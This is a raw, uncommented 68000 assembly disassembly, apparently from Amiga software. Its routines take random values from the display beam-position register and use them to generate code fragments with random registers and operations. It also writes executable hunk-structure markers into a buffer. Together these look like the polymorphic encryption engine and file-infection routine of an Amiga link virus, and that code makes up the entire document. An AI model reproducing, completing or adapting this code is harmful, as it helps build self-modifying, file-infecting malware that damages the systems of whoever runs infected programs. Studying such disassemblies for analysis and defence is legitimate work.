ADD.L A2,D7 ;6C2: DE8A
BSR.S LAB_0044 ;6C4: 6130
ADDQ #3,D5 ;6C6: 5645
LSL.L #2,D5 ;6C8: E58D
MOVEM.L D3/D5,(A4) ;6CA: 48D40028
BSR.S LAB_0044 ;6CE: 6126
SUB.L D7,D3 ;6D0: 9687
MOVE.L D7,(A4) ;6D2: 2887
MOVE.L D3,4(A4) ;6D4: 29430004
BRA.S LAB_0044 ;6D8: 601C
LAB_0041:
MOVEQ #0,D1 ;6DA: 7200
LAB_0042:
CLR.L -4(A4) ;6DC: 42ACFFFC
MOVEQ #16,D0 ;6E0: 7010
ADD.L (A3),D0 ;6E2: D093
MOVEA.L D0,A0 ;6E4: 2040
MOVE.L -(A0),(A4) ;6E6: 28A0
LSR.L #2,D0 ;6E8: E488
MOVEM.L D0-D1,4(A4) ;6EA: 48EC00030004
MOVEQ #21,D0 ;6F0: 7015
LAB_0043:
MOVE D0,-14(A4) ;6F2: 3940FFF2
LAB_0044:
MOVEA.L A5,A1 ;6F6: 224D
MOVEA.L D6,A0 ;6F8: 2046
PEA 22(A3) ;6FA: 486B0016
MOVE.L (A7)+,-20(A4) ;6FE: 295FFFEC
JSR -366(A6) ;702: 4EAEFE92
LAB_0045:
PEA 22(A3) ;706: 486B0016
MOVEA.L (A7),A0 ;70A: 2057
JSR -384(A6) ;70C: 4EAEFE80
MOVEA.L (A7)+,A0 ;710: 205F
JMP -372(A6) ;712: 4EEEFE8C
LAB_0046:
MOVE.L 116(A2),D1 ;716: 222A0074
BSR.S LAB_0042 ;71A: 61C0
ADDA #$0084,A2 ;71C: D4FC0084
MOVE.L A2,8(A4) ;720: 294A0008
MOVEQ #34,D0 ;724: 7022
BSR.S LAB_0043 ;726: 61CA
MOVE.L A2,D0 ;728: 200A
LSR.L #2,D0 ;72A: E488
ADDQ.L #3,D0 ;72C: 5680
MOVE.L D0,8(A4) ;72E: 29400008
MOVEQ #28,D0 ;732: 701C
LAB_0047:
BRA.S LAB_0043 ;734: 60BC
LAB_0048:
LSR.L #2,D0 ;736: E488
MOVE.L -(A4),D1 ;738: 2224
LSL.L #2,D1 ;73A: E589
SUBA.L A0,A0 ;73C: 91C8
MOVE.L 36(A0,D1.L),(A4)+ ;73E: 28F01824
MOVE.L (A4),D4 ;742: 2814
MOVE.L D0,(A4) ;744: 2880
MOVE #$040A,D0 ;746: 303C040A
BSR.S LAB_0047 ;74A: 61E8
MOVE.L D4,-4(A4) ;74C: 2944FFFC
MOVEQ #26,D0 ;750: 701A
BSR.S LAB_0047 ;752: 61E0
LEA 16(A2),A2 ;754: 45EA0010
MOVE.L (A2),D5 ;758: 2A12
SUB.L -(A2),D5 ;75A: 9AA2
CLR.L -(A2) ;75C: 42A2
SUBQ.L #8,A2 ;75E: 518A
RTS ;760: 4E75
LAB_0049:
MOVE.B EXT_0005,D0 ;762: 103900DFF007
EOR.B D0,D7 ;768: B107
ROL #7,D7 ;76A: EF5F
MOVE D7,D0 ;76C: 3007
RTS ;76E: 4E75
LAB_004A:
BSR.S LAB_0049 ;770: 61F0
LSR #8,D0 ;772: E048
RTS ;774: 4E75
LAB_004B:
MOVEM.L D0-D1/D3-D4/D6-D7/A0-A6,-(A7) ;776: 48E7DBFE
BSR.S LAB_0049 ;77A: 61E6
MOVE D0,-1752(A0) ;77C: 3140F928
MOVE.L D0,-(A7) ;780: 2F00
JSR -132(A6) ;782: 4EAEFF7C
BSR.S LAB_004A ;786: 61E8
LSR.B #6,D0 ;788: EC08
MOVE D0,D4 ;78A: 3800
LAB_004C:
MOVE D5,D1 ;78C: 3205
LSR #8,D1 ;78E: E049
BSR.S LAB_004D ;790: 6108
DC.W $FB74 ;792
DC.W $0009 ;794
DC.W $000B ;796
DC.W $0009 ;798
LAB_004D:
MOVEQ #3,D2 ;79A: 7403
MOVEA.L (A7),A3 ;79C: 2657
MOVEA.L (A7)+,A2 ;79E: 245F
LAB_004E:
ADDA (A2)+,A3 ;7A0: D6DA
MOVE.B D1,(A3)+ ;7A2: 16C1
MOVE.B D5,(A3)+ ;7A4: 16C5
DBF D2,LAB_004E ;7A6: 51CAFFF8
LINK A2,#-138 ;7AA: 4E52FF76
MOVEA.L A7,A5 ;7AE: 2A4F
LEA 18(A5),A4 ;7B0: 49ED0012
LAB_004F:
MOVEQ #-64,D1 ;7B4: 72C0
MOVEQ #5,D3 ;7B6: 7605
LAB_0050:
BSR.S LAB_0049 ;7B8: 61A8
LSR.B #5,D0 ;7BA: EA08
BSET D0,D1 ;7BC: 01C1
BNE.S LAB_0050 ;7BE: 66F8
MOVE.B D0,-(A2) ;7C0: 1500
DBF D3,LAB_0050 ;7C2: 51CBFFF4
ADDQ #1,D2 ;7C6: 5242
BEQ.S LAB_004F ;7C8: 67EA
CLR.L -8(A2) ;7CA: 42AAFFF8
MOVEQ #0,D6 ;7CE: 7C00
LAB_0051:
BSR.S LAB_0049 ;7D0: 6190
MOVE D0,D2 ;7D2: 3400
ASR #2,D2 ;7D4: E442
BSR.S LAB_004A ;7D6: 6198
LSR.B #4,D0 ;7D8: E808
MOVE D0,D1 ;7DA: 3200
SUBQ #8,D1 ;7DC: 5141
BGT.S LAB_0051 ;7DE: 6EF0
LEA LAB_0015(PC),A3 ;7E0: 47FAFB4E
MOVE.B 8(A3,D1.W),D1 ;7E4: 12331008
EXT D1 ;7E8: 4881
ADDA D1,A3 ;7EA: D6C1
MOVE.B D6,D3 ;7EC: 1606
AND.B (A3),D3 ;7EE: C613
CMP.B (A3)+,D3 ;7F0: B61B
BNE.S LAB_0051 ;7F2: 66DC
BSET D0,D6 ;7F4: 01C6
BNE.S LAB_0051 ;7F6: 66D8
BSR LAB_004A ;7F8: 6100FF76
LSR.B #6,D0 ;7FC: EC08
MOVE.B 0(A3,D0.W),D0 ;7FE: 10330000
ADDA D0,A3 ;802: D6C0
BSR.S LAB_0056 ;804: 616C
MOVE D6,D0 ;806: 3006
LSL #7,D0 ;808: EF48
BPL.S LAB_0051 ;80A: 6AC4
MOVEA.L -(A2),A3 ;80C: 2662
MOVE.L A4,D0 ;80E: 200C
SUB.L A3,D0 ;810: 908B
ADD D0,(A3) ;812: D153
MOVE.L A4,D1 ;814: 220C
SUB.L A5,D1 ;816: 928D
ADDA D1,A1 ;818: D2C1
MOVEA.L A1,A3 ;81A: 2649
MOVE.L D5,D6 ;81C: 2C05
ADD D1,D5 ;81E: DA41
LAB_0052:
MOVE.B -(A0),D0 ;820: 1020
MOVEQ #2,D3 ;822: 7602
LAB_0053:
MOVE -(A5),D2 ;824: 3425
MOVEA.L -(A5),A2 ;826: 2465
JSR (A2) ;828: 4E92
DBF D3,LAB_0053 ;82A: 51CBFFF8
LEA 18(A5),A5 ;82E: 4BED0012
MOVE.B D0,-(A3) ;832: 1700
DBF D6,LAB_0052 ;834: 51CEFFEA
SUBQ #1,D1 ;838: 5341
LAB_0054:
MOVE.B -(A4),-(A3) ;83A: 1724
DBF D1,LAB_0054 ;83C: 51C9FFFC
MOVEA.L A1,A0 ;840: 2049
LEA 142(A7),A7 ;842: 4FEF008E
DBF D4,LAB_004C ;846: 51CCFF44
JSR -138(A6) ;84A: 4EAEFF76
ADDQ #7,D5 ;84E: 5E45
LSR #2,D5 ;850: E44D
BCS.S LAB_0055 ;852: 6502
ADDQ #2,A1 ;854: 5449
LAB_0055:
LEA (EXT_0002).W,A2 ;856: 45F803F2
MOVE.L A2,(A1) ;85A: 228A
MOVE.L LAB_0018(PC),-(A3) ;85C: 273AFB90
EXT.L D5 ;860: 48C5
MOVE.L D5,-(A3) ;862: 2705
SUBQ #8,A2 ;864: 514A
SUBQ #1,A2 ;866: 534A
MOVE.L A2,-(A3) ;868: 270A
MOVE.L (A7)+,D2 ;86A: 241F
MOVEM.L (A7)+,D0-D1/D3-D4/D6-D7/A0-A6 ;86C: 4CDF7FDB
RTS ;870: 4E75
LAB_0056:
MOVE.B (A3)+,D0 ;872: 101B
EXT D0 ;874: 4880
MOVE.B LAB_005B(PC,D0.W),D0 ;876: 103B005E
EXT D0 ;87A: 4880
JSR LAB_005B(PC,D0.W) ;87C: 4EBB0058
BRA.S LAB_0056 ;880: 60F0
MOVE.L -8(A2),D0 ;882: 202AFFF8
SUB.L A4,D0 ;886: 908C
MOVE D0,(A4)+ ;888: 38C0
BRA.S LAB_0059 ;88A: 602A
LAB_0057:
ANDI #$0007,D2 ;88C: 02420007
ADDQ #1,D2 ;890: 5242
RTS ;892: 4E75
MOVEQ #0,D0 ;894: 7000
BRA.S LAB_0058 ;896: 600C
BSR.S LAB_0057 ;898: 61F2
MOVE D2,D0 ;89A: 3002
NEG D0 ;89C: 4440
BRA.S LAB_0058 ;89E: 6004
BSR.S LAB_0057 ;8A0: 61EA
MOVE D2,D0 ;8A2: 3002
LAB_0058:
MOVE.L A4,-4(A2) ;8A4: 254CFFFC
MOVE D0,(A4)+ ;8A8: 38C0
RTS ;8AA: 4E75
BSR.S LAB_005C ;8AC: 6168
LSL.B #4,D1 ;8AE: E909
MOVE.B D1,(A4)+ ;8B0: 18C1
MOVE.B D2,(A4) ;8B2: 1882
NEG.B (A4)+ ;8B4: 441C
LAB_0059:
ADDQ.L #4,A7 ;8B6: 588F
RTS ;8B8: 4E75
BSR.S LAB_005C ;8BA: 615A
ROR #7,D1 ;8BC: EE59
LAB_005A:
BSR.S LAB_005D ;8BE: 6160
OR D0,D1 ;8C0: 8240
MOVE D1,(A4)+ ;8C2: 38C1
RTS ;8C4: 4E75
BSR.S LAB_005C ;8C6: 614E
BRA.S LAB_005A ;8C8: 60F4
BSR.S LAB_005C ;8CA: 614A
ROR #7,D1 ;8CC: EE59
MOVE D1,D0 ;8CE: 3001
BSR.S LAB_005C ;8D0: 6144
OR D0,D1 ;8D2: 8240
BRA.S LAB_005A ;8D4: 60E8
LAB_005B:
ASR -(A4) ;8D6: E0E4
DC.W $F0F4 ;8D8
MOVE.B (A4),D4 ;8DA: 1814
MOVE.L 7894(A2),D1 ;8DC: 222A1ED6
DC.W $ACB6 ;8E0
MOVEA (A2),A0 ;8E2: 3052
CMPA A2,A7 ;8E4: BECA
AND (A6)+,D1 ;8E6: C25E
MOVEQ #0,D1 ;8E8: 7200
MOVE.B (A3)+,(A4)+ ;8EA: 18DB
MOVE.B (A3)+,(A4)+ ;8EC: 18DB
MOVE.B (A3)+,(A4)+ ;8EE: 18DB
MOVE.B (A3)+,(A4)+ ;8F0: 18DB
RTS ;8F2: 4E75
ASR.B #1,D2 ;8F4: E202
EXT D2 ;8F6: 4882
BSR.S LAB_005D ;8F8: 6126
ADD D2,D0 ;8FA: D042
MOVE D0,(A4)+ ;8FC: 38C0
RTS ;8FE: 4E75
MOVE D2,(A4) ;900: 3882
NEG (A4)+ ;902: 445C
BRA.S LAB_0059 ;904: 60B0
BSR.S LAB_005C ;906: 610E
BSR.S LAB_005D ;908: 6116
MOVE D0,(A4) ;90A: 3880
LSL #5,D2 ;90C: EB4A
LSR #4,D2 ;90E: E84A
OR.B D2,(A4)+ ;910: 851C
OR.B D1,(A4)+ ;912: 831C
BRA.S LAB_0059 ;914: 60A0
LAB_005C:
MOVEQ #0,D1 ;916: 7200
MOVE.B (A3)+,D1 ;918: 121B
MOVE.B 0(A2,D1.W),D1 ;91A: 12321000
RTS ;91E: 4E75
LAB_005D:
MOVE.B (A3)+,D0 ;920: 101B
LSL #8,D0 ;922: E148
MOVE.B (A3)+,D0 ;924: 101B
RTS ;926: 4E75
LAB_005E:
TST.L -8(A2) ;928: 4AAAFFF8
BNE.S LAB_005F ;92C: 6604
MOVE.L A4,-8(A2) ;92E: 254CFFF8
LAB_005F:
RTS ;932: 4E75
BSR.S LAB_005E ;934: 61F2
MOVE.B (A3)+,D0 ;936: 101B
MOVE.B D0,(A4)+ ;938: 18C0
MOVE.B 9(A2),(A4) ;93A: 18AA0009
BSET #4,(A4)+ ;93E: 08DC0004
LAB_0060:
NOT.B D2 ;942: 4602
BEQ.S LAB_0060 ;944: 67FC
MOVE D2,(A4)+ ;946: 38C2
MOVE.B (A3)+,D1 ;948: 121B
EXT D1 ;94A: 4881
PEA 0(A3,D1.W) ;94C: 48731000
MOVE.L (A7)+,(A5)+ ;950: 2ADF
MOVE D2,(A5)+ ;952: 3AC2
END